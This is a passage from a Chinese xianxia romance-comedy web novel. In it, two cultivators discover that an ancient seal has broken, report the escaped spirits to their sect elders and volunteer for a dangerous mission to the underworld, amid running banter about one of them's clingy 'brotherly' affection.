“叛逃魂灵早就被吸收其实也是当年正道为了笼络人心的说辞,这些魂灵实际上需要万年,乃至更久的时间才能被完全消灭。” 这倒是天下人都不知道的秘密,但蜀山剑宗当年也是无可奈何才出此下策。 说到这,云梧又迟疑了片刻,才继续开口道: “眼下归墟秘境出现种种异常……所以我担心,是里边的封印出问题了。” 宴焱的领会能力很强,立马明白了云梧的意思。 的确,归墟秘境出现异常,冥界鬼役又出逃,很难不能让人联想到万年前的灾祸。 “我们推开门吧。” 宴焱缓缓吸了口气,道。 后路已经被堵死。除了继续向前走、直接深入封印之处也别无他法。 云梧也明白这点,宴焱发话之后,便凝重的轻轻点了点头。 金门沉默的矗立在原地。 宴焱试探性的走了几步,没有任何的暗器或机关,甚至连纹路的颜色也没有任何的变动。 二人一左一右,快步走到金门前。 这扇门很厚重,有数丈高,门钹高高的悬在一丈高的地方,铜铸成的凶兽压着眉,衔着环,仿佛在凝视着下方走近的二人。 宴焱率先抬手,轻轻将掌心附在了金门之上。 没用力,宴焱按得很慎重,但冰凉的金属安静的躺在他的手下,出乎他意料的一动也不动。 宴焱抬眼,与云梧对视一眼,手下继续用力。 云梧也将手放在了金门之上,他的力道更大,甚至将金门挪开了一小寸缝隙。 还是没动静。 不仅是宴焱,云梧的眉头也紧紧拧着。 封印的纹路没反应,意味着里边的魂灵八成是真逃了。 二人手下不再犹豫,灵力自内脉溢出,凝聚掌心,手中力道一重,金门随即发出了震天的隆隆声响。 随着两扇门中间的缝隙越来越大,越来越大。二人得以窥见里面的真貌。 不同于想象的阴森可怖,归墟秘境的中心居然是一处清幽的小山谷! 古老高大的书架爬满了藤草,将书籍缠绕得严严实实,里头各处散落着一些兵器法宝,灵气浓稠,几乎要溢出来。 若不是意识到魂灵出逃,这块修炼宝地的发现的确是件令人雀跃的事情。 宴焱一眼就锁定了山谷里的一处高台。 说是高台,其实是由几个高大的乱石堆叠成的石塔,高高耸立,浓密的树木也挡不住。 石塔中间也布满了和门上一致的铭文,但暗淡无光,甚至乱石也被胡乱的劈开了几道缝隙,险之又险的交叠在一块,马上就要滚落而下。 锚定了石塔的方位,宴焱立刻收回手,径直掠过重重珍宝古籍,大步朝着石塔行。 云梧也一刻不停的跟上。 离得近了,就更能看清楚石塔的模样,乱石碎乱,不复原来高高耸立的模样,甚至连上方的纹路细节处皲裂,明显是从中节节破开的。 那股不祥的预感被彻底坐实。 真逃了。 宴焱面色沉重。指尖一点点抚过断裂的铭文。 怪不得保命灵符都不见了,原来是被这魂灵当作养料收走。想来通讯灵符也是因此断开了和外界的联系。 魂灵出逃,引得内围的妖兽向外潜逃,灵力也凌乱无序。 “看这断裂的痕迹,好像是新鲜的,不会是开秘境时出逃的吧……” 云梧也走上前,垂眸细细打量,皱眉揣测道。 宴焱却忽地出声,打断了他的话。 “不,应该是半个月前,六界证道大会刚刚开始的时候。” 他说着,忽地一顿,似是想到了什么。 第56章 再抱一抱 宴焱的九转灵体对于魂灵的气息很敏感, 所以那日御道莲灯之后的种种异象,他也记得格外深。 “我第一次感受到魂灵异动是在问心关结束的晚上,那晚最为明显, 之后几天隐约有点儿感觉, 但不多, 所以就没有再留意。” 宴焱回忆。 “但我初到冀州不久, 对这里不熟悉,所以也没有生疑……” 问心关结束的时候已经有了异常,说明至少前几日魂灵便已经逃了出去, 可居然这么久了, 天下人却被瞒得严严实实,一点儿消息都没有漏出来。 就连云梧,堂堂蜀山剑宗的少宗主,也是到了现在才知道这般情况。 定是有人在暗中隐瞒了此事!! “蜀山剑宗肯定不知此事,若是知道,我们定会早有防范的。” 云梧字字斟酌, 面色凝重无比, 飞快回想着半个月前的种种。 师尊不大管宗内事物, 多数大事都是由云梧一手把持。怀清剑尊就更不可能了,半月前她还在外历练。 “谁还有权限监管封印?” 宴焱没有否认云梧的话, 而是提出了另一种思路。 云梧很快答道:“除去蜀山剑宗掌管所有封印,其余六界头等大宗都有能力监管。叩心台, 罗刹门, 三清宫……” 云梧飞快的数下约莫有十个左右的宗门名称, 散布六界各处,牵涉的人物广之又广。 但,宴焱眉眼微压, 锁定了几个较为可疑的对象。 罗刹门首当其冲。 邪修这些年来的野心都是六界各派有目共睹的。罗刹门作为邪修当中出类拔萃的宗门,私底下干的肮脏事不少,私自放出魂灵引发大乱,趁机削弱正道势力,也合乎情理。 更何况,初入归墟秘境之时罗刹门罗奇意义不明的提示,很难不让人揣测他知道些什么。 至于第二个么…… 宴焱略微蹙眉,不着痕迹的扫了眼垂眸沉思的云梧。 他怀疑是问心尊者。 原因无他,除了蜀山剑宗之外,能够直接接触到封印的就是叩心台。而叩心台命修一贯以不争不强,实力羸弱出名。作为命修之首的问心尊者更应该是正人君子,表里如一。 可那一次的私下接触,却让宴焱对这问心尊者的两面三刀多了几分提防。 想到这,宴焱忽地顿了顿,斟酌着,试探性的开口: “对了云兄,你先前在秘境中说的,那叩心台也不干净是什么意思?” 云梧闻言,略微挑了挑眉,没有直接回答,而是道: “焱焱在怀疑问心尊者吗?” 云梧说这话的时候没有惊诧,更没有宴焱想象中的不满,而是出乎意料的平静,薄情眼沉如潭水,一瞬不瞬的映着宴焱的面庞。 被猜到了意图,宴焱干脆不再遮掩,落落大方的点了点头。 “是。问心尊者是除却蜀山剑宗之外,最容易接触到封印的……” 说到这,宴焱的舌尖一顿,张了张唇,末了,还是把那晚的事情咽入喉中。 还不是时候,他想。 但云梧的眼极为敏锐,几乎是一刹,他就捕捉到了宴焱那一瞬微不可查的迟疑。 焱焱有什么在瞒着他。 云梧略微垂下眼,抿唇,却没有开口戳穿,也没有选择在此时逼迫着宴焱吐出秘密。 他只是开口,贴心的掠过了这个话题: “叩心台十年前对宗内弟子做过一次毫无征兆的大清扫。而且……” 云梧顿了顿,掀起眼帘,这才继续: “这场清洗是专门针对宗门中的断袖。” 宴焱闻言,一愣。 云梧一刻不停:“问心尊者在宗内大肆搜查有断袖倾向的弟子。若是搜出了,不管三七二十一,统统都灌了药,不少弟子因此灵根俱毁。” 宴焱面色复杂,同时也困惑道: “难道是这问心尊者……” 也被断袖骚扰了?? 云梧大概猜到了宴焱在想什么,失笑,摇了摇头: “这场清洗的源头是那年问心尊者给自己算了一卦,算出命中有一大劫会败在断袖手上。” “虽说师尊和问心尊者交往甚密,但我因此也不大喜欢问心尊者。觉得他嘴里一套清高的说辞,做出来的又是另一套。” 这么说着,云梧还小心翼翼的又补了句: “当然,我,我也挺怕断袖的。绝不是他针对断袖的缘故……” 云梧补充的这话略显苍白,旁人仔细一听就能听出一些不对劲,但宴焱此刻也顾不得计较那么多,而是若有所思。 他宴焱其实一开始对于断袖没什么意见,只要不是逼自己当断袖,世间存在男子相恋也不关他宴焱的事,井水不犯河水便好。 之前对于断袖的厌恶多数还是因为这些断袖无法无天,整日觊觎自己。所以宴焱才对他们恨得咬牙切齿。 但问心尊者这种仅凭自己的利益便大肆侵害他人的行径,就算宴焱再恨断袖,也无法苟同。 想到这,宴焱缓缓点头。 “云兄说的是,我也觉得问心尊者两面三刀。” 见宴焱认可了自己的话,云梧不着痕迹的松了口气,转而不动声色的朝着宴焱靠近了些。 草木香若有若无的贴近,无孔不入的侵入着宴焱的鼻腔、肌肤,整个人都要被浸染透了。 但宴焱此刻垂着头,凝神看着断裂的纹路情况,或许是太过认真,没在意……又或许是他早就习惯了云梧的气息。 就算是贴得这般近,也没觉得有什么不妥。 云梧一点点靠近,直到宴焱的肩膀紧紧挨着他的,灼热肌肤贴了上去。下一秒,云梧又伸出一只手,缓缓的落在了宴焱的肩头。 见宴焱抬头看他,云梧便状似自然的应道: “想和兄弟抱抱了。” 宴焱刚刚还沉浸在推理之中呢,云梧的‘兄弟拥抱’来得太突然,让他一时间反应不过来。 怎么又要抱了。 不是进来的时候刚刚抱过吗? 云兄为什么这么喜欢和兄弟抱抱…… 宴焱疑问一个接一个的冒出来,但还是斟酌着,抿了抿唇,任由云梧抱着了。 算了,兄弟抱一抱没什么的,又不是断袖,没必要太过在意。 宴焱这么想着,就任由云梧一只手搭在自己的肩头,一只手裹着自己的手,两个人都快缠在一起,合二为一了,宴焱想抬脚都又点儿动弹不得。 云梧太沉,挪一下,就能明显的感知到肩头的缩回的力气,叫宴焱又皱了皱眉。 “云兄,好了。抱一下就可以了。” 他试探性的抬脚,想要去找出去的路口,但云梧箍在他身上,挪出一寸脚,就马上被轻轻的往后拖了回来。 云梧没有反驳宴焱的意图,选择性的掠过‘放开宴焱’这一选项,转而开口: “那我们一起走吧。” 他一面说着,一面手下滑,落在宴焱的身侧,末了,不着痕迹的贴紧了点,搂上腰。 宴焱:…… 哪有兄弟搂着兄弟腰走路的。 关羽张飞哪会这样?? “云兄。我们这样,会不会太过……不方便了。” 宴焱本来想说太过亲密,但话说到头,又打了个弯,改成了不便。 云梧挑眉,一副讶异的模样: ‘焱焱,怎么会呢?这样更方便呀,要是遇到了什么事,你我靠得近,互相照应起来也容易。’ 他这么说着,还刻意把控着宴焱的喜好,添油加醋: “好兄弟互相照应难道不是应该的吗?难道说,焱焱你不拿我当兄弟了,要背弃我不成?” “我就知道,焱焱对我只是嘴上说说而已,心里根本没把我当最好的兄弟看,肯定你在外头瞒着我有其他的好兄弟了……” 云梧越说,嗓音越低,说到情深处,甚至还可疑的哽咽了下。 他这话,半分是演给宴焱看的,半分是真情流露,带了点埋怨。 焱焱方才没说完的话,他是看在眼里的。明摆着焱焱对自己还是留有几分提防,不想把所有的消息都告诉他。 虽然云梧知道,他和焱焱满打满算也就相识了不到两个月的时间。焱焱是一个很谨慎的人,这么短的时间内,能和他做成兄弟已然是不容易,自己想要短时间上位才是异想天开。 但即使如此,云梧在察觉到宴焱的提防时,还是会涌上一丝小小的委屈。 他真的好想好想撬动焱焱的心啊。可别提当道侣了,就连做兄弟,焱焱还不能把自己当作真正的好兄弟呢。 云梧这话听得宴焱一愣一愣的,半晌才反应过来。 什么叫做在外面偷偷找好兄弟啊? 这话为什么听起来这么奇怪?? 宴焱面色变了又变,唇瓣张了又张,想说点反驳的话,但久久说不出来。 可云梧长睫微垂,薄唇下撇,可怜兮兮的,那一副委屈的模样,倒好像真的是他宴焱做错了一样。 ……不对啊,他错哪了? 宴焱又顿住了。把自己心头莫名其妙升起的心虚掐灭。 他宴焱又不是女子,他和云梧只是单纯的兄弟关系,就算有其他好兄弟又怎样呢?? 难不成还算出轨吗?? 想到这,宴焱又硬气回来,抬起头,正准备气势汹汹的和云梧理论理论,说一些‘兄弟也不是唯一的’之类的话,可刚起头呢,就对上了云梧沉沉的乌色瞳仁,又愣了愣。 云梧眼里的委屈不似作伪,让宴焱刚刚升起来的气势又弱了下去。 算了算了算了。 宴焱闭了闭眼,不知是第几次和自己说‘算了’。 他咬了咬牙,维续最后的底线: “那行吧,你搂就搂,不准偷偷摸我。” 别以为他不知道,云兄总是喜欢在搂肩搭背的时候偷偷的摸摸自己的肩膀和腰肢。云兄自以为做的隐蔽,其实宴焱都看在眼底,只是念着云兄初次交‘好兄弟’,没什么分寸,一直纵容。 可事实证明,有些纵容只会滋生更大的欲望。 偷摸成了光明正大的摸,甚至连摸都已经到了为所欲为,就差没有直接伸到宴焱衣服里边,用粗茧去把掐玩捏了。 哪里有好兄弟天天有意无意的照顾哥们胸口的?? 宴焱嘴角微抽,腹诽。 亏得云兄还说自己没把他当好兄弟看,分明云兄才没把哥们当兄弟看!! 心底这么想着,宴焱嘴上不说,生怕云梧又逮着哪个字眼,又钻了死胡同。 到时候又开始落泪,自己吃软不吃硬的,肯定遭不住,又会心软,然后就又要被他明里暗里的把掐玩弄了…… 宴焱木着脸,惊觉云梧的这一套已然成了流水线,就这么几天的时间,同一个套路套了他宴焱好几次。 偏偏每回自己都会上当!! 这么想着,宴焱不由得怒瞪了云梧一眼,手里不轻不重捏了把云梧的手臂。 硬的,捏不动。 宴焱气急,立刻抬手,狠狠的捏了捏云梧的脸,如同泄愤。 就好像他这样一捏,先前云梧摸他的账就能扯平一样。 云梧任由他捏,甚至宴焱捏的时候,他还要低下头,调整到合适的高度,不让宴焱抬高手肘累着,薄情眼微微眯起,不像是惩罚,倒像是奖赏了。 宴焱:…… 算了。 总不能他再搂回去吧。 几番交锋下来,最后宴焱还是被云梧搂着向前走。 不过云梧做的贴心,除了腰间不可忽视的灼热,其余没让宴焱感受到一分不适。 损坏的乱石堆在峡谷的中心,两侧的山壁上各长满了数不尽的灵草灵芝,每一株若是出了秘境,都会成为无数人争相抢夺的珍宝。 但时间紧迫,宴焱和云梧只是大致采了一点儿最为珍贵的药草,其余的便搁置在一旁。 宴焱倒是觉得可惜,下手时还不着痕迹的望旁边的山壁上扫了几眼。 云梧一直在留心宴焱的反应,见他对其中几株长的高的、不易采摘的药草看了好几眼,便立刻道: “焱焱,不用担心,这几株草药我还是有的。” “也不多,就在我冀州靠东边的那处灵田里种了几亩吧。” 宴焱方才还可惜的情绪骤然被浇灭。 好了够了可以了别说了。 是人话吗?? 第57章 中断 此处是归墟秘境的最核心, 蜀山剑宗也对这地方有所记载,所以云梧很快就找到了符阵的所在地。 精细的符阵掩藏在堆叠的树木之后,散发着暗淡的光芒。 云梧没有迟疑, 手中灵气氤氲, 用箐云剑劈开了遮掩的树木, 将传送阵激活。 眼见阵法被激发出耀眼的白光, 云梧抬手,紧紧握着宴焱的手。回头,轻声交代道: “焱焱, 握紧了。” 片刻之后, 随着一阵气流掀起,光芒散去,眼前赫然出现了一处宽大的广场,正是归墟秘境的出口。 此时距离归墟秘境打开不过十天,但作为出口的广场上却三五成群的站满了修士。 人头攒动间,最中心有两队人相互对峙, 甚至有人还举着剑, 眼看着就要打起来。 宴焱眯了眯眼, 那其中队的领头人不是被人,正是黄苏。 黄苏面露激动, 他紧紧握着手中一柄带血的长剑,指尖颤抖, 直指着眼前的罗奇。 “是你!!肯定是你搞的鬼!!” 罗奇身后只有几人, 对比起正道这边数十人, 气势上弱了不少。 但他还是那副阴冷的模样,挑着眉,闻言, 森然笑了几声,反驳道: “你亲眼看见我杀了齐岳吗?空口白牙的就污蔑人,这就是你正道的作风??” 不光是云梧,宴焱听了这话也发愣。 齐岳殒落了?? 黄苏身边围了不少其他小队的人,不少都是天岳剑派的弟子,此时面露悲愤。罗奇这话说的挑衅意味十足,他的话音落下后,有几名弟子愤慨的便要抽出剑,刺向罗奇。 罗奇还是有几分真本事在,灵活的躲过,但袭来的剑太多太密集,还是不小心被划破了手肘,大股大股的鲜血流出。 但他感觉不到疼,甚至大张着嘴,笑了几声。 “哈哈哈,我不是告诉过你们了,不要进内围不要进内围你们偏不听……” “现在好了。”罗奇阴冷的抬起眼,视线缓缓扫过在场的每一个人。 “齐岳死了,你们正道队伍损失惨重。明明是那魂灵杀的,却还要赖到我头上!!” 黄苏被他阴阳怪气的一番话气的不行,大骂一声畜生。 “你和齐岳有仇在先,当时就你和他二人在那处阵法徘徊,不是你还会是谁?!” 紧接着,黄苏就举起另一只手中的琴,拨弄琴弦,意图要攻击罗奇!! 就在这时,旁边站着的弟子忽地大嚷一声: “是云少宗主和宴道友回来了!!” 此话一出,黄苏举着的手一顿,回过头,望向快步走来的二人,一愣,随即放下手,面容一松,又像是哭又像是笑的,颤抖的向前走了几步: “好,好,好。安全出来就好。” 黄苏说着这话,加上这几日巨变发生的太多,眼泪就不住的扑簌簌的落了下来。 他不顾上罗奇等仇敌还在眼前,哽咽片刻,手垂落,道: “齐道友他身、身殒了。” 宴焱连忙扶住他的肩膀,凝重道:“这几日究竟发生了什么??” 黄苏摇头,半晌吸气着说不出话,他一旁的天岳剑派弟子见道这样的情形,立刻接话: “从秘境开始就有大批量的小队死亡,前几日更是死伤惨重,前一天,外头终于能透了消息进来,具体的没有多说,只是说外面乱了,似乎是魂灵出逃了,于是便要提前开秘境将证道大会中断。” “齐大师兄接到消息之后,就传音给我们在出口汇合,谁知道在他去设置阵法的时候碰上了罗奇,二人起了争执,不知发生了什么,最后,最后……齐大师兄就身殒了。” 闻言,宴焱皱了皱眉,暗道一声果然。 魂灵出逃,六界大乱。一切都和他们在峡谷中看到的一致。 魂灵出逃之后拼命的吸收魂魄以作为养料,所以气运比普通生灵浓厚的修士就成了魂灵的头号目标。 “尸骸在哪?” 宴焱抿唇,询问一旁的弟子。 若真的是魂灵所杀,一定会留有痕迹,宴焱能够分辨得出来。 如果不是魂灵所杀…… 宴焱抬头,凤眸森冷的扫向罗奇。 那就让杀人者血债血偿! 天岳剑派弟子迟疑片刻,回头低声说了什么,有人从人群中走出,两手并拢,托着一具折叠干瘪的躯体。 仅仅是一眼,宴焱的眉头就紧紧皱起。 血肉全无,只剩一副骨架和皮肉,哪里还看得出先前意气风发的剑修的模样? 见了齐岳的尸骸,黄苏刚刚平复下去的情绪又激动起来,大喘着气,宴焱只得腾出手,安抚的拍了拍黄苏的肩,一下又一下。 最后,他也不由得跟着叹了口气。 可惜了,齐兄也是一代剑修天才,他本想结束秘境之后拉拢一番齐兄……当真是世事难料。 宴焱垂眸,指尖珍重的点上尸骸的头颅,灵气透过指腹,渗透过尸骸残存的筋络。 气息森然,是魂灵。 宴焱抿唇,回头,同一脸凝重的云梧对上视线,缓缓摇了摇头。 魂灵吞噬魂魄后的死尸和邪修的杀人方式很相近,都会让死者的皮肉萎靡,呈现如同干尸一般的丑态。再者说罗奇和齐岳有仇,也怨不得其余人会将罗奇当作杀人凶手。 但九转灵体不会感知出错,魂灵的气息如此明显,定然不会是罗奇。 宴焱垂头,张了张唇,最后还是低声道: “的确不是罗奇,应该是魂灵做的。” 黄苏一听,愣在原地,末了抽噎了两下,扭过头,随后低下头颅,一言不发。 宴焱知道他们更需要一个情绪发泄的出口,把紧了黄苏的肩,轻轻晃了晃,一字一句,承诺道: “但你放心,此次魂灵出逃定是有人隐瞒的结果,我们不会放过他们的。” 宴焱话说的诚恳,凤眸紧盯着面前的黄苏,让他木然的表情微松,随即缓缓的点了点头。 宴焱刚才说的话不大不小,周围人听得清楚,罗奇自然也听见了。闻言,冷哼了声,抹了把嘴角的鲜血,阴阳怪气道: “都说了不是我做的,你们正道误会了人,难道不表示表示?冤枉了我这么久,结果一点道歉都没有,这就是所谓正道的风度吗?” 黄苏是个硬骨头,半晌不肯发声,倒是一直在旁边的云梧大步走了出来,对着罗奇抱了抱拳,凌然道: “是我们失礼了。” 说着,云梧又从空间法器中取出几瓶上好的灵药,隔空抛给了罗奇。 罗奇把灵药拿在手里掂了掂,面色稍霁,这才松了嘴。 只不过,云梧一刻不停,又开了口,眼神锐利的望向罗奇。 “但是,也劳烦罗道友交代一二——为什么你会知道内围会有危险?” 云梧的问题很尖锐,也是在场所有人都疑惑的点。 宴焱闻言立刻抬起头,乌色瞳仁紧紧盯住了罗奇,想要在他消瘦的脸上捕捉到些什么。 云梧的话问的突然,罗奇还没来得及整理自己的表情,骤然一愣,视线飘忽片刻,最后嘴角却又提起一抹莫名的笑: “就算我知道又怎样??” “与其质问我,不如去好好查查你们正道内部的人。一个个人模狗样的,私底下做的事却……” 此话一出,几个年轻的正道弟子激动的要提起剑,意图再次与罗奇缠斗。 眼见着刚刚缓和的气氛又开始剑拨弩张,云梧蹙了蹙眉,抬手,用灵力止住了弟子们的动作,转而轻轻同他们摇了摇头。 秘境马上就要结束,若是此时没有证据动手,不但不会对他们产生太多影响,反而会落人口舌。 再者,正道内部也的确有问题。 云梧在年轻一辈中颇有威望,要提剑的几人也显然意识到了问题,冷静了下来,纷纷收剑。只是眼神还是带着不甘,狠狠的刮了罗奇几眼。 云梧和宴焱出来的时间很巧,正好是秘境要开启出口当天下午。 经过了此事,两队人马又沉默着僵持不下。直到广场前方的玉柱再一次爆发出隆隆的响动,大地震颤,打坐小憩的修士无一不是互相搀扶着站起身,等待着阵法爆发出的光芒扫过自己的身体。 云梧紧挨着宴焱站着,不过这一次没让云梧再开口,宴焱自觉的把手塞到了云梧的掌中,转头,抢了云梧的台词,道: “云兄又想说握紧我的手了?” 方才沉默紧绷的气氛被宴焱这么一说,顿时活络几分。 见云梧凝重的面庞提起一抹笑,眼看着就要趁着光芒大盛、所有人都不注意的时候再凑过来,不知还要做些什么事呢。 宴焱连忙不动声色的扬了扬唇角,赶在云梧伸手之前转过头。 下一秒,阵法漫天的金芒吞噬了二人的身躯,眼前顿时陷入了一片白茫茫的空寂。 再一睁眼,便是熟悉的蜀山剑宗巨大广场。 灵气的浓度骤然减弱,但逃离了危险的归墟秘境,所有人的心都往下放一放。 但,宴焱扫视了一圈广场上的人,心觉不妙。 证道大会提前结束这么大的事,在场却没有任何一个大能压阵,反而是围了一圈神色凝重的宗内弟子。 阵法隆隆的声音渐渐落下,原本参赛的万众修士最后传送回来的居然只有稀稀拉拉的不足一万人。 云梧扫视一圈,也意识到了问题所在,握着宴焱的手更是紧了几分。 维持秩序的宗门弟子显然一直在等着云梧和宴焱的出现,见二人平安归来,大大松了口气。 很快,有一小队人迅速逼近二人,待到行至云梧跟前,为首弟子抱了抱拳,随即竟也没顾上宗门礼仪,急切道: “少宗主,剑尊等您很久了。” 第58章 一直在一起 弟子面露急色, 语速也很快,云梧宴焱二人便没有耽搁,立刻起身, 跟着他们向着宗门大殿御剑而去。 大殿建立在火翎峰的峰顶处, 白玉阶梯绵延三千, 往日按照规矩是要弟子步行而上, 但今天来来往往的,全都是御剑和操纵法器上下的修士。 宴焱扫眼过去,心下不免又凝重几分。 殿门轰然而开, 殿中赫然端坐了数十位大能, 围坐一圈,面色凝重。 一眼望过去,都是各界各派的大能,只是…… 宴焱里里外外看了几遍,都没能找到问心尊者的踪影。甚至连罗刹门人也都没在。 封印松落,这么大的事情, 问心尊者就算是身体抱恙, 也不应该不出现…… 那头的大能还在低声商议, 声音急切,甚至都没顾及到大殿的门已然打开。 “……六界已经成这样了, 冥界往生河水甚至向下流,往生都成了问题, 各界的死伤也不少。” “这个关头, 我们很难再派出人马……”是妖界的在推诿。 怀远剑尊端坐在主座, 十天不见,他的面色差了许多,眉眼间颇有憔悴之色, 白发枯槁,摇着头,嘴里应着妖界的宗门长老道: “是,是,是,我能理解。” “劈开冥界结界的事情我们正道会负责,至于各位,守住各界便是对我们最大的帮助了。” 其余各界面色稍霁,但还是有人不甘心,嘴里嘟囔了句: “叩心台至今未开,问心尊者也不现世,本就是你们正道惹出的祸端……” 怀远剑尊原本一直半阖着眼,手里有一搭没一搭的捏着一本边角发毛的‘祖师爷语录’,这会儿一听这话,赫然睁开了眼,攥住了手里的书,狠狠睨了说话的人一眼,想反驳,最后气得胡子一挺,却半晌说不出话。 云梧常年在怀远剑尊身边呆着,当然知道他的剑痴师尊不理世事,说不过别人,只会暗暗生闷气。 于是他大踏一步,走至怀远剑尊身边,打断了妖界长老的下一句说辞: “诸位宗主,长老,晚辈云梧,前来禀明归墟秘境一事。” 被云梧打了岔,妖界长老自然不好再多说什么,闭了嘴。 怀远剑尊刚刚一直在劳神六界之时,这会儿才察觉云梧和宴焱来了,面色稍微好了点,连连点头,欣慰道: “安全回来就好,安全回来就好。” “归墟秘境内怎么样了?”有人立刻发问。 云梧没有推辞,而是拱了拱手,一五一十的将归墟秘境内的情况禀明。 魂灵出逃,修士死伤惨重,命符被偷,甚至连联系都被切断。 怀远剑尊也在凝神听着,闻言,花白的眉毛又皱了皱,悠悠叹口气道: “是,归墟秘境开始之后的第三天就先后有万年前封印的魂灵出逃被发现,冥界妖界先后大乱。叩心台他们……更是闭门不出,封锁了全宗上下。” “我这次急着叫你们二人前来,正是因为冥界一事。魂灵出逃之后,首当其冲便是逃往冥界将其封锁。紧接着往生河水便从高处往低流,使得各界生灵无法往生。长此以往,天下大乱。” “所以我们几界合力,要将冥界破开一道小口。但入口有禁制,仅能容许元婴期以下的小辈前往。这几日,我们才决议,想要让你们二人领头前去查看一二。” 怀远剑尊说这话时,目光分明落在了矗立一旁的宴焱身上。 云梧身为蜀山剑派少宗主,此等要事自然不会推脱。 但宴焱则不同,他本就是一介散修,无牵无挂。 此次前往冥界探查,注定是一路艰险,是要冒着生命危险的。宴焱本就没有义务要前去冥界,遑论他和云梧还是命修亲手算出的宿敌呢? 就连云梧也微微侧了侧身,将视线落在了宴焱身上。 冥界之途只会凶险再凶险,云梧凭心而论是不想焱焱去冒险的,况且焱焱对自己还设有一丝提防,碰到这样性命攸关的大事,先前说的那些诺言都要往旁放一放了。 但…… 云梧不着痕迹垂下眼,企图抑制心里肆意生长的妄念。 焱焱曾经和自己说过,他把自己当好兄弟。 而好兄弟,就要一直一直在一起。 察觉到云梧若有若无的视线,宴焱倒是没有回避,大大方方的抬起了头,直视落座在上方的怀远剑尊。 他的凤眸坚定,一眨也不眨。 怀远剑尊说出那话之后,心下也忐忑了一会儿,如今宴焱抬起头,他也便睁开半阖的眸,定定的回望。 这个年轻人的眼神很坚定,像是火炬,烈烈燃烧着。叫怀远剑尊不住的又捋了捋胡,心下直念叨。 的确是个好苗子,可惜了,不是个剑修。 下一秒,宴焱开口,字字笃定。 “好,我愿意和云少宗主一起前去冥界!” 此话一出,不仅是云梧和怀远剑尊,旁边的几位大能也愣住了。 他们虽然知道二人关系并没有传闻中那么剑拔弩张,但能够做到这份上,却还是在场众人没有料到的。 过了好一会儿,云梧才率先反应了过来,缓慢的眨了眨眼皮。眼眶隐隐发酸,视线珍重的踱过宴焱一张一合的红唇,随即伸出手,用指节勾了勾宴焱的手心,轻轻摇了摇头: “焱焱……冥界太危险了。” 他还是不想让焱焱进入危险的境地。 但宴焱却转头,高高挑了挑眉,没有改口,反倒堂堂正正的应了云梧的话: “云兄,你我都是天命之子,如今天下有难,你去了冥界,我宴焱岂能当懦夫??” “再者说,既然我宴焱喊了你一句云兄,兄弟之间,但求同年同月同日死的话岂能作假?” 这番话说的,铿锵有力,凌然正气,叫在场的大能无一不是暗暗点头。 怀远剑尊高坐台上,见了这般情形,也是不住的捋胡,忧心忡忡的脸上也显现出了一抹笑,连连道: “好,好,好。宴小友有心了。” 说着这话,怀远剑尊的视线也徘徊在二人中间,似乎想到了什么,许久,叹了口气,忽地又开口道: “对了,归墟秘境虽然被中断,但按照积分排榜,宴小友还是第一位的。比赛第一名的奖品也理应由本尊交给你。恰好诸位道友都在此,也做个见证。” 言罢,怀远剑尊放下了手中的语录,轻轻搁置在一旁的小桌上,转而一捏诀,手中赫然出现了一面巴掌大的铜镜。 六界鼎鼎有名的溯世镜,长得却其貌不扬。两面都是打磨好的铜镜,两面都覆着一层厚重的铜盖,其上青铜纹路诡秘深奥,只是瞥了一眼,就会叫人心神不宁,眼头发昏。 怀远剑尊珍重的摸了摸,转而站起身,一步步走下阶梯,双手将溯世镜捧起,递给了宴焱。 “溯世镜能通因果,能扭转轮回。” 怀远剑尊一字一句。 他虽然很老了,但是眼神还是清明的,定定的望向宴焱,眼神锐利。 溯世镜是件可怖的宝贝,持有者必须心术正,否则会酿成大祸。 宴焱没有躲避,而是堂堂正正的抬起眼,对上怀远剑尊的目光,双手抬起,承接着溯世镜。 当溯世镜轻如羽翼的镜身落入掌中,宴焱方才有了点实感。 怀远剑尊再次开口,这一次,是叮嘱: “切记,慎重用它。” 宴焱颔首,双手郑重接过。 与此同时,系统的自动提示音响起: 【恭喜宿主获得宝物:溯世镜】 【剧情:+10 进阶奖励已发放!!】 眼见溯世镜归处已定,云梧也实打实替宴焱欢喜,薄情眼微微眯起,唇角提着笑,乍一看,好像是他得了奖一般。 冥界事由紧急,怀远剑尊便商议给了二人两日时间休整,时间一到,便和几个自愿报名前去的小辈前去冥界。 出了大殿,云梧便熟稔的搭上宴焱的肩头,轻轻往里拢了拢。 箐云剑很有眼色的变大,直到既能让二人能够同时站立,又不会过分的宽敞。甚至它还抢在前来驮人的白鹤之前,强行把自己的身体塞到了宴焱跟前。 白鹤两兄弟听了宴焱的事迹好久,今天终于有机会能见一见,自然不肯,扭着肥胖的身体,嚷开了:“去去去——你个死色剑,我是奉了剑尊的命令来的!!快走快走!” 就在宴焱犹疑的把目光放在白鹤二兄弟身上时,一向安静的箐云剑忽然暴起,剑身涨大,恶狠狠的赏了两兄弟脑袋一人一个重击。 万年玄铁制成的剑身可不是吃素的,两个脑瓜崩下来,白鹤两兄弟齐齐的眼睛发昏,只觉得天旋地转,一对眼,就这么直挺挺的晕了过去。 宴焱:…… 宴焱默默后退了一步。 一旁的云梧倒是一直挂着风轻云淡、事不关己的笑。见了两兄弟晕了过去,轻轻的叫了一声:“啊,居然昏过去了呢。” 这么说着,云梧像是才反应过来要阻止箐云剑暴行一样,对着箐云剑道: “箐云剑,我说了多少次,不要欺负同门。你看看你,思考的一点也不周到,这下焱焱怎么回去呢?” 说罢,云梧又笑意盈盈的转头: “焱焱,真是不好意思,看来你今天只能和我一起御剑去洞府了呢。” 宴焱左看看方才还一脸凶恶,如今又乖巧的缩回原来大小的箐云剑,右看看‘残害了同门’,却一点惭愧也没有,反而笑的一脸羞涩的云梧。 宴焱默默闭了嘴。 第59章 自戕 眼见没有其他选择, 宴焱也只好认命的踩上了箐云剑。 箐云剑生得一副古朴宝剑的模样,但私下的作风却很跳脱。宴焱的脚刚刚碰上,箐云剑就又忍不住打了个哆嗦, 不知是踩疼了还是怎的, 吓得宴焱还回脚往里缩了缩。 云梧倒是一步走前, 娴熟的揽过宴焱的腰, 将他往前一带,二人齐齐踏上了剑身。 察觉到云梧又想贴上来,宴焱往前挪了挪, 道: “云兄, 不用靠的那么近,我自己能平衡好。” 云梧倒是很听话的往后挪。 只是下一秒,宴焱不着痕迹的扭了扭腰,企图避开云梧的桎梏。原来云梧虽然身躯后退,但那双手还是不老实的扣在宴焱的腰上,不肯松开一毫。 “云兄!”宴焱微微提高了点音量。 “我说了, 我自己能平衡好。” 云梧眨巴了下眼睛, 很快的接茬: “焱焱, 你误会了。我不是怕你掉下去。是我怕,所以才抓着你。” 宴焱凤眸睁大, 一寸寸转过头。 